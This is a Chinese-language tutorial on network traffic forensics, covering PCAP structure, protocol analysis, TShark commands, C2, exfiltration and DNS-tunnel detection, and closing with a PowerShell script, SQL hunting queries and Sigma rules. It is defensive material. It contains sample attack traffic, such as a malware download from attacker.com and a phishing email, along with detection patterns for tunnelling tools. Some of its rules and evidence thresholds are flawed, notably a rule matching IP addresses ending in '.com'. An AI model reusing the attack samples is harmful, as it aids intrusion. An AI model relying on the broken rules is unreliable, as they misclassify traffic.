网络流量取证深度分析 网络流量取证深度分析 网络流量取证是数字取证中最强大的分析手段之一。与主机取证不同,网络取证提供了攻击者与目标系统之间通信的完整视图,包括数据传输的内容、时间、方向和频率。即使在攻击者清除了主机上的所有痕迹后,网络流量记录仍然可以提供关键的取证证据。
已有文章 流量检查结果基础解读与异常模式识别 覆盖了流量分析的基础方法。本文换一个角度:不讨论通用的流量分析,而是聚焦于网络流量取证的深度分析技术,深入分析 PCAP 文件结构、网络协议的取证价值、Wireshark/TShark 的高级分析技术、恶意网络活动的检测方法、C2 通信识别、数据外泄分析、DNS 隧道检测、加密流量分析等技术,以及如何从网络流量中提取关键取证证据。
0x01 PCAP 文件结构与取证价值 1. PCAP 文件格式 PCAP(Packet Capture)是网络流量捕获的标准文件格式。PCAP 文件包含三个主要部分:
全局头(Global Header)
struct pcap_file_header {
u_int32_t magic; // 魔数:0xa1b2c3d4
u_int16_t version_major; // 主版本号
u_int16_t version_minor; // 次版本号
int32_t thiszone; // 时区偏移
u_int32_t sigfigs; // 时间戳精度
u_int32_t snaplen; // 最大捕获长度
u_int32_t linktype; // 链路层类型
}; 数据包头(Packet Header)
struct pcap_packet_header {
u_int32_t ts_sec; // 时间戳(秒)
u_int32_t ts_usec; // 时间戳(微秒)
u_int32_t incl_len; // 捕获的数据长度
u_int32_t orig_len; // 原始数据包长度
}; 数据包数据(Packet Data)
包含实际的网络数据包内容,包括:
以太网帧头(Ethernet Header) IP 头(IP Header) TCP/UDP 头(Transport Layer Header) 应用层数据(Application Data) 2. PCAPNG 格式 PCAPNG(PCAP Next Generation)是 PCAP 的改进版本,支持:
多个网络接口 更精确的时间戳(纳秒级) 注释和元数据 压缩 3. 网络流量取证的价值 网络流量取证提供以下关键证据:
通信内容 :HTTP 请求/响应、FTP 传输、SMTP 邮件等通信时间 :精确的时间戳,用于构建攻击时间线通信方向 :源 IP 和目的 IP,识别攻击者和目标通信频率 :识别 C2 通信的周期性特征数据传输量 :识别数据外泄的规模协议异常 :识别协议违规和异常行为0x02 网络协议的取证价值 1. HTTP/HTTPS 协议 HTTP 取证价值
HTTP 是明文协议,所有通信内容都可以直接读取:
GET /malware.exe HTTP / 1.1
Host: attacker.com
User-Agent: Mozilla/5.0
Cookie: session=abc123
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 102400
[恶意软件二进制数据] 取证要点:
检查 HTTP 请求的 URL、方法、头部 检查 HTTP 响应的状态码、内容类型、大小 提取上传/下载的文件 识别可疑的 User-Agent 字符串 HTTPS 取证价值
HTTPS 是加密协议,无法直接读取通信内容,但可以分析:
TLS 握手的元数据(证书、密码套件) 连接的时间和频率 数据传输量 SNI(Server Name Indication)中的域名 2. DNS 协议 DNS 协议是网络取证中最重要的协议之一:
Query : malware.attacker.com A IN
Response : 192.168.1.100 取证要点:
识别可疑的域名查询(DGA 生成的域名) 检测 DNS 隧道(大量 TXT 记录查询) 识别 Fast-Flux DNS(频繁变化的 IP 地址) 检测 DNS 数据外泄(大量子域名查询) 3. SMTP/POP3/IMAP 协议 邮件协议用于检测邮件相关的安全事件:
MAIL FROM: attacker@malicious.com
RCPT TO: victim@company.com
DATA
Subject: Urgent: Update your password
From: IT Support <support@company.com>
Click here to update your password: http://phishing.com
.取证要点:
提取邮件内容、附件、发件人信息 识别钓鱼邮件的特征 检测邮件外泄(大量外发邮件) 4. FTP/SMB 协议 文件传输协议用于检测文件传输活动:
USER anonymous
PASS anonymous@
CWD /uploads
STOR sensitive_data.zip取证要点:
提取传输的文件 识别可疑的文件名和路径 检测大规模文件传输 5. 其他协议 协议 取证价值 SSH 检测远程登录、命令执行 RDP 检测远程桌面连接 IRC 检测 C2 通信(早期恶意软件) Bitcoin 检测加密货币交易 Tor 检测匿名网络使用
0x03 Wireshark 分析技术 1. 基础过滤器 显示过滤器(Display Filter)
# IP 地址过滤
ip.addr == 192.168.1.100
ip.src == 10.0.0.1
ip.dst == 8.8.8.8
# 端口过滤
tcp.port == 80
udp.port == 53
# 协议过滤
http
dns
tls
# 组合过滤
ip.addr == 192.168.1.100 && tcp.port == 443
http.request.method == "POST"
dns.qry.name contains "malware"捕获过滤器(Capture Filter)
# 捕获特定 IP 的流量
host 192.168.1.100
# 捕获特定端口的流量
port 80
# 捕获特定协议的流量
tcp port 80 or udp port 53 2. 高级分析技术 Follow TCP Stream
重建完整的 TCP 会话:
右键点击数据包 → Follow → TCP Stream可以查看完整的 HTTP 请求/响应、FTP 传输、SMTP 邮件等内容。
统计功能
Statistics → Conversations # 查看所有会话
Statistics → Endpoints # 查看所有端点
Statistics → Protocol Hierarchy # 查看协议层次
Statistics → IO Graphs # 查看 I/O 图表数据包详情
Packet Details 面板显示数据包的详细解析:
- Frame: 帧信息
- Ethernet II: 以太网头
- Internet Protocol Version 4: IP 头
- Transmission Control Protocol: TCP 头
- Hypertext Transfer Protocol: HTTP 头3. TShark 命令行分析 TShark 是 Wireshark 的命令行版本,适合批量分析:
# 提取所有 HTTP 请求
tshark -r capture.pcap -Y "http.request" -T fields -e frame.time -e ip.src -e http.host -e http.request.uri
# 提取所有 DNS 查询
tshark -r capture.pcap -Y "dns" -T fields -e frame.time -e ip.src -e dns.qry.name
# 提取所有 HTTP POST 请求
tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e frame.time -e ip.src -e http.host -e http.request.uri
# 导出 HTTP 对象
tshark -r capture.pcap --export-objects http,./output/ 0x04 恶意网络活动检测 1. C2 通信识别 C2(Command and Control)通信是恶意软件与攻击者服务器之间的通信。识别 C2 通信的关键特征:
周期性通信(Beaconing)
# 检测周期性 HTTP 请求
tshark -r capture.pcap -Y "http.request" -T fields -e frame.time -e ip.dst | \
awk '{print $2}' | sort | uniq -c
# 检测周期性 DNS 查询
tshark -r capture.pcap -Y "dns" -T fields -e frame.time -e dns.qry.name | \
awk '{print $2}' | sort | uniq -c 可疑的 User-Agent
# 提取所有 User-Agent
tshark -r capture.pcap -Y "http.request" -T fields -e http.user_agent | sort | uniq -c 可疑特征:
空的 User-Agent 异常的 User-Agent 字符串 与已知恶意软件匹配的 User-Agent 可疑的 URL 路径
# 提取所有 URL 路径
tshark -r capture.pcap -Y "http.request" -T fields -e http.request.uri | sort | uniq -c 可疑特征:
随机生成的路径(如 /a3f8b2c1d4e5) 包含编码数据的路径(如 /gate.php?id=base64data) 与已知 C2 框架匹配的路径 2. 数据外泄检测 数据外泄(Data Exfiltration)是指攻击者将敏感数据从目标网络传输到外部服务器。
HTTP POST 数据外泄
# 检测大量 HTTP POST 请求
tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e ip.src -e ip.dst -e http.content_length | \
awk '{sum[$1" "$2]+=$3} END {for (i in sum) print i, sum[i]}' | sort -k3 -nr 可疑特征:
大量的 POST 请求 大的 Content-Length 发送到外部 IP 地址 DNS 数据外泄
# 检测大量 DNS 查询
tshark -r capture.pcap -Y "dns" -T fields -e ip.src -e dns.qry.name | \
awk '{count[$1]++} END {for (i in count) print i, count[i]}' | sort -k2 -nr 可疑特征:
大量的 DNS 查询 查询包含编码数据的子域名(如 base64data.attacker.com) 查询 TXT 记录(常用于 DNS 隧道) FTP/SMB 数据外泄
# 检测 FTP 文件上传
tshark -r capture.pcap -Y "ftp.request.command == STOR" -T fields -e frame.time -e ip.src -e ftp.request.arg
# 检测 SMB 文件传输
tshark -r capture.pcap -Y "smb2" -T fields -e frame.time -e ip.src -e smb2.cmd 3. 端口扫描检测 端口扫描是攻击者探测目标网络开放端口的行为。
# 检测 SYN 扫描
tshark -r capture.pcap -Y "tcp.flags.syn == 1 && tcp.flags.ack == 0" -T fields -e ip.src -e ip.dst -e tcp.dstport | \
awk '{count[$1" "$2]++} END {for (i in count) print i, count[i]}' | sort -k3 -nr 可疑特征:
单个源 IP 向多个目标端口发送 SYN 包 短时间内大量 SYN 包 没有后续的 ACK 包(半开扫描) 4. 暴力破解检测 暴力破解是攻击者尝试大量密码以获取访问权限的行为。
# 检测 SSH 暴力破解
tshark -r capture.pcap -Y "ssh" -T fields -e ip.src -e ip.dst | \
awk '{count[$1" "$2]++} END {for (i in count) print i, count[i]}' | sort -k3 -nr
# 检测 RDP 暴力破解
tshark -r capture.pcap -Y "rdp" -T fields -e ip.src -e ip.dst | \
awk '{count[$1" "$2]++} END {for (i in count) print i, count[i]}' | sort -k3 -nr 可疑特征:
单个源 IP 向目标发送大量连接请求 短时间内大量失败的认证尝试 0x05 DNS 隧道检测 1. DNS 隧道原理 DNS 隧道利用 DNS 协议传输非 DNS 数据,绕过防火墙和 IDS 检测。
正常 DNS 查询:
malware.attacker.com → 192.168.1.100
DNS 隧道查询:
base64encodeddata.attacker.com → TXT record with encoded response2. DNS 隧道检测特征 大量子域名查询
# 检测同一域名的不同子域名查询
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | \
awk -F. '{print $(NF-1)"."$NF}' | sort | uniq -c | sort -nr 可疑特征:
同一域名的大量不同子域名查询 子域名包含随机字符串或编码数据 大量 TXT 记录查询
# 检测 TXT 记录查询
tshark -r capture.pcap -Y "dns.qry.type == 16" -T fields -e dns.qry.name | sort | uniq -c 可疑特征:
异常的查询长度
# 检测异常的 DNS 查询长度
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name -e frame.len | \
awk 'length($1) > 50 {print $0}' 可疑特征:
3. DNS 隧道检测工具 dnscat2 检测
# 检测 dnscat2 通信
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | \
grep -E "[a-zA-Z0-9]{32,}" Iodine 检测
# 检测 Iodine 通信
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | \
grep -E "^[a-z]+\.[a-z]+\." 0x06 加密流量分析 1. TLS/SSL 分析 虽然无法解密 TLS 流量,但可以分析 TLS 握手的元数据:
# 提取 TLS 证书信息
tshark -r capture.pcap -Y "tls.handshake.type == 11" -T fields -e tls.handshake.certificate
# 提取 SNI(Server Name Indication)
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.extensions_server_name
# 提取 TLS 版本和密码套件
tshark -r capture.pcap -Y "tls.handshake.type == 2" -T fields -e tls.handshake.version -e tls.handshake.ciphersuite 可疑特征:
自签名证书 过期的证书 使用弱密码套件(如 RC4、DES) 使用旧的 TLS 版本(如 TLS 1.0) 2. JA3 指纹 JA3 是一种 TLS 客户端指纹技术,用于识别恶意软件:
# 计算 JA3 指纹(需要 ja3 插件)
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e ja3 可疑特征:
与已知恶意软件匹配的 JA3 指纹 异常的 JA3 指纹 3. 加密流量行为分析 虽然无法读取加密流量的内容,但可以分析行为特征:
连接时间 :识别周期性连接数据传输量 :识别大量数据传输连接频率 :识别高频连接目标 IP :识别已知恶意 IP0x07 公开案例中的网络流量取证 案例一:SolarWinds 供应链攻击 — C2 通信分析 在 SolarWinds 供应链攻击中,攻击者使用 SUNBURST 后门与 C2 服务器通信。网络流量分析揭示了以下特征:
周期性的 HTTP GET 请求(每 15 分钟一次) 请求 URL 包含编码的命令和响应 使用合法的 SolarWinds 域名作为 C2 域名 检测方法:调查人员通过分析 PCAP 文件,识别出周期性的 HTTP 请求,并提取出 C2 通信的内容。
案例二:Colonial Pipeline 勒索软件攻击 — 数据外泄分析 在 Colonial Pipeline 勒索软件攻击中,DarkSide 勒索软件在加密文件之前先外泄了 100GB 的敏感数据。网络流量分析揭示了以下特征:
大量的 SMB 文件传输 数据传输到外部 IP 地址 数据传输发生在加密之前 检测方法:调查人员通过分析 PCAP 文件,识别出大量的 SMB 文件传输,并确定了数据外泄的规模。
案例三:APT29 — DNS 隧道检测 APT29 使用 DNS 隧道与 C2 服务器通信,绕过防火墙检测。网络流量分析揭示了以下特征:
大量的 TXT 记录查询 查询域名包含编码数据 查询频率异常高 检测方法:调查人员通过分析 PCAP 文件,识别出异常的 DNS 查询模式,并提取出 DNS 隧道传输的数据。
0x08 证据强度分层 1. 确认恶意(Confirmation Level) 以下条件满足任意一项即可确认存在恶意网络活动:
检测到已知恶意软件的 C2 通信(JA3 指纹匹配) 检测到数据外泄(大量 HTTP POST 到外部 IP) 检测到 DNS 隧道(大量 TXT 记录查询) 检测到端口扫描(单个 IP 向多个端口发送 SYN) 提取到恶意软件二进制文件 2. 高度可疑(High Suspicion Level) 以下条件满足任意一项应当视为高度可疑:
检测到周期性 HTTP 请求(可能是 C2 通信) 检测到异常的 DNS 查询模式 检测到大量文件传输 检测到使用弱密码套件的 TLS 连接 检测到可疑的 User-Agent 字符串 3. 需要关注(Attention Level) 以下条件需要关注,但不足以单独判定恶意:
检测到非标准端口的通信 检测到加密流量 检测到外部 IP 连接 0x09 网络流量取证工具链 1. 流量捕获工具 工具 用途 特点 Wireshark 图形化流量分析 功能强大,易用 TShark 命令行流量分析 适合批量处理 tcpdump 命令行流量捕获 轻量级,跨平台 NetworkMiner 流量分析和文件提取 自动提取文件
2. 流量分析工具 工具 用途 特点 Zeek (Bro) 网络流量分析 生成详细的日志 Suricata 入侵检测 支持规则匹配 Snort 入侵检测 开源,社区支持 Security Onion 综合安全平台 集成多种工具
3. 专项分析工具 工具 用途 特点 NetworkMiner 文件提取 自动提取 HTTP、FTP、SMB 文件 Xplico 流量重建 重建 HTTP、SMTP、POP 等协议 Chaosreader 流量重建 提取会话数据 CapAnalysis 流量分析 Web 界面,适合团队协作
0x10 网络流量取证自动化与狩猎 1. 网络流量分析 PowerShell 脚本 # Network Traffic Analysis Script
Write-Host "=== Network Traffic Analysis ===" -ForegroundColor Cyan
# 1. 检查可疑的网络连接
Write-Host " `n [1] Checking for suspicious network connections..." -ForegroundColor Yellow
$suspiciousConnections = Get-NetTCPConnection | Where-Object {
$_.State -eq "Established" -and
$_.RemoteAddress -notmatch "^10\.|^172\.|^192\.168\.|^127\." -and
$_.OwningProcess -ne 0
}
if ($suspiciousConnections) {
Write-Host "[ALERT] Suspicious external connections:" -ForegroundColor Red
$suspiciousConnections | ForEach-Object {
$process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
Write-Host " Process: $($process.Name) (PID: $($_.OwningProcess)) | Remote: $($_.RemoteAddress): $($_.RemotePort)" -ForegroundColor Red
}
} else {
Write-Host "[OK] No suspicious external connections found" -ForegroundColor Green
}
# 2. 检查异常的监听端口
Write-Host " `n [2] Checking for suspicious listening ports..." -ForegroundColor Yellow
$suspiciousListeners = Get-NetTCPConnection | Where-Object {
$_.State -eq "Listen" -and
$_.LocalPort -notin @(80 , 443 , 22 , 3389 , 445 , 135 , 139 ) -and
$_.LocalAddress -eq "0.0.0.0"
}
if ($suspiciousListeners) {
Write-Host "[ALERT] Suspicious listening ports:" -ForegroundColor Red
$suspiciousListeners | ForEach-Object {
$process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
Write-Host " Port: $($_.LocalPort) | Process: $($process.Name) (PID: $($_.OwningProcess))" -ForegroundColor Red
}
} else {
Write-Host "[OK] No suspicious listening ports found" -ForegroundColor Green
}
# 3. 检查 DNS 查询历史
Write-Host " `n [3] Checking DNS query history..." -ForegroundColor Yellow
$dnsCache = Get-DnsClientCache -ErrorAction SilentlyContinue | Select-Object -First 20
if ($dnsCache) {
Write-Host "[INFO] Recent DNS queries:" -ForegroundColor Yellow
$dnsCache | ForEach-Object {
Write-Host " $($_.Name) | Type: $($_.Type) | Status: $($_.Status)" -ForegroundColor Yellow
}
}
# 4. 检查防火墙规则
Write-Host " `n [4] Checking firewall rules..." -ForegroundColor Yellow
$suspiciousRules = Get-NetFirewallRule | Where-Object {
$_.Enabled -eq "True" -and
$_.Direction -eq "Outbound" -and
$_.Action -eq "Allow" -and
$_.RemoteAddress -eq "Any"
}
if ($suspiciousRules.Count -gt 50 ) {
Write-Host "[ALERT] Large number of outbound allow rules: $($suspiciousRules.Count)" -ForegroundColor Red
} else {
Write-Host "[OK] Firewall rules appear normal" -ForegroundColor Green
}
# 5. 检查网络适配器配置
Write-Host " `n [5] Checking network adapter configuration..." -ForegroundColor Yellow
$adapters = Get-NetAdapter | Where-Object { $_.Status -eq "Up" }
foreach ($adapter in $adapters) {
$ipConfig = Get-NetIPAddress -InterfaceIndex $adapter.InterfaceIndex -ErrorAction SilentlyContinue
Write-Host " Adapter: $($adapter.Name) | IP: $($ipConfig.IPAddress)" -ForegroundColor Yellow
}
Write-Host " `n === Analysis Complete ===" -ForegroundColor Cyan 2. 事件日志狩猎查询 -- 综合网络流量事件日志狩猎
-- 1. 检测可疑的网络连接(Sysmon Event ID 3)
SELECT TimeCreated, ProcessName, SourceIP, SourcePort, DestinationIP, DestinationPort
FROM SysmonEvents
WHERE EventID = 3
AND DestinationIP NOT LIKE '10.%'
AND DestinationIP NOT LIKE '172.%'
AND DestinationIP NOT LIKE '192.168.%'
ORDER BY TimeCreated DESC
-- 2. 检测 DNS 查询(Sysmon Event ID 22)
SELECT TimeCreated, ProcessName, QueryName, QueryResults
FROM SysmonEvents
WHERE EventID = 22
AND (QueryName LIKE '%malware%' OR QueryName LIKE '%attacker%' OR QueryName LIKE '%c2%' )
ORDER BY TimeCreated DESC
-- 3. 检测大量网络连接
SELECT ProcessName, COUNT (* ) as ConnectionCount
FROM SysmonEvents
WHERE EventID = 3
AND TimeCreated > DATEADD(hour, - 1 , GETDATE())
GROUP BY ProcessName
HAVING COUNT (* ) > 100
ORDER BY ConnectionCount DESC
-- 4. 检测异常端口连接
SELECT TimeCreated, ProcessName, DestinationPort, DestinationIP
FROM SysmonEvents
WHERE EventID = 3
AND DestinationPort NOT IN (80 , 443 , 53 , 22 , 3389 , 445 , 135 , 139 )
AND DestinationIP NOT LIKE '10.%'
ORDER BY TimeCreated DESC
-- 5. 检测 DNS 隧道特征
SELECT TimeCreated, ProcessName, QueryName, QueryType
FROM SysmonEvents
WHERE EventID = 22
AND (LEN(QueryName) > 50 OR QueryType = 'TXT' )
ORDER BY TimeCreated DESC 3. Sigma 检测规则 title : Network Traffic - Suspicious External Connection
id : a1b2c3d4-e5f6-7890-abcd-ef1234567890
status : test
description : Detects suspicious external network connections
references :
- https://attack.mitre.org/techniques/T1071/
date : 2026-06-23
tags :
- attack.command-and-control
- attack.t1071
logsource :
product : windows
service : sysmon
detection :
selection :
EventID : 3
DestinationIp|endswith :
- '.com'
- '.net'
- '.org'
DestinationPort :
- 443
- 80
- 8080
- 8443
condition : selection
falsepositives :
- Legitimate external connections
level : low title : Network Traffic - DNS Tunneling
id : b2c3d4e5-f6a7-8901-bcde-f12345678901
status : test
description : Detects potential DNS tunneling activity
references :
- https://attack.mitre.org/techniques/T1071/004/
date : 2026-06-23
tags :
- attack.command-and-control
- attack.t1071.004
logsource :
product : windows
service : sysmon
detection :
selection :
EventID : 22
QueryName|contains :
- '.txt.'
- '.mx.'
QueryName|endswith :
- '.com'
- '.net'
- '.org'
condition : selection
falsepositives :
- Legitimate DNS queries
level : medium 0x11 参考资料